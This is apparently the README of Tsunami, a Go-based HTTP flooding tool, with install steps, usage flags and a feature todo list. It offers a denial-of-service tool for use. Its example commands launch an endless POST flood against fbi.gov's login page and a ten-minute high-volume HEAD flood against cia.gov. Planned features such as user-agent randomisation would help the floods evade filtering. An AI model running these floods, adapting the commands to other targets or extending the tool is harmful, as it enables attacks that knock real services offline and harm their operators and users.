Tsunami
Tsunami is an advanced HTTP flooder written in Golang. It's currently implemented features include:
- Live attack stats
- Customizable mutlithreading
- HTTPS support (Note: Certificates aren't verified for performance)
This project is huge WIP
Basic Usage
./tsunami http://example.com --threads 100
Help
./tsunami --help
Quick install
git clone https://github.com/ammario/tsunami
cd tsunami
export GOPATH=`pwd`
go get ./...
go build
Examples
Low volume POST flood lasting forever
./tsunami -w 2 "https://fbi.gov/login" POST "username=Ammar&password=g1thuB123"
High volume HEAD flood lasting for 10 minutes
./tsunami -w 100 -s 600 "https://cia.gov/" HEAD
Todo
- Dynamic tokens (E.g {RANDOM_STRING}, {RANDOM_INT})
- User Agent randomization
- Custom headers
- Pretty display of attack stats
- ???